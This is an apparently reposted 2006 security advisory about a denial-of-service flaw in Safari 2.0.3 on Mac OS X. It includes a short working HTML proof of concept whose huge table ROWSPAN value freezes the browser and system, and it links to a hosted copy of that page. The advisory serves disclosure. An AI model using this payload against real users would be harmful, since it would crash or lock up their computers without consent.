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Apple Mac OS X Safari 2.0.3 DoS (Large ROWSPAN)
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SUMMARY
<http://www.apple.com/macosx/features/safari/> Safari web browser is
developed by Apple and available as part of the Mac OS X operating system.
Opening a specially crafted web page causes Safari to crash.
DETAILS
Vulnerable Systems:
* Safari 2.0.3 (417.9.2) latest version under 10.4.5 (Build 8H14)
* Safari 2.0.3 (417.9.2) latest version under 10.4.6 (Build 8I127)
* Prior versions may also be affected.
Example:
Create a new File with following code:
<HTML>
<BODY>
<TABLE>
<TR>
<TD ROWSPAN=2000000000>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
Save it as a .html file (example.html) now open it in Safari. The
application takes a lot of CPU and RAM slowing down the
operating system SRCOD (Spinning Rainbow Cursor Of Death), and it is no
longer possible to use OSX.
For an online example visit:
<http://www.yanux.ch/exploits/safari/example.html>
http://www.yanux.ch/exploits/safari/example.html
Vendor Status:
Apple has notified of this issues on 04/23/2006
Solution:
Currently no patches have been released for this vulnerability.
ADDITIONAL INFORMATION
The information has been provided by <mailto:yannick.vonarx@yanux.ch>
Yannick von Arx.
The original article can be found at:
<http://www.yanux.ch/exploits/safari/bugreport_imac_g4.txt>
http://www.yanux.ch/exploits/safari/bugreport_imac_g4.txt
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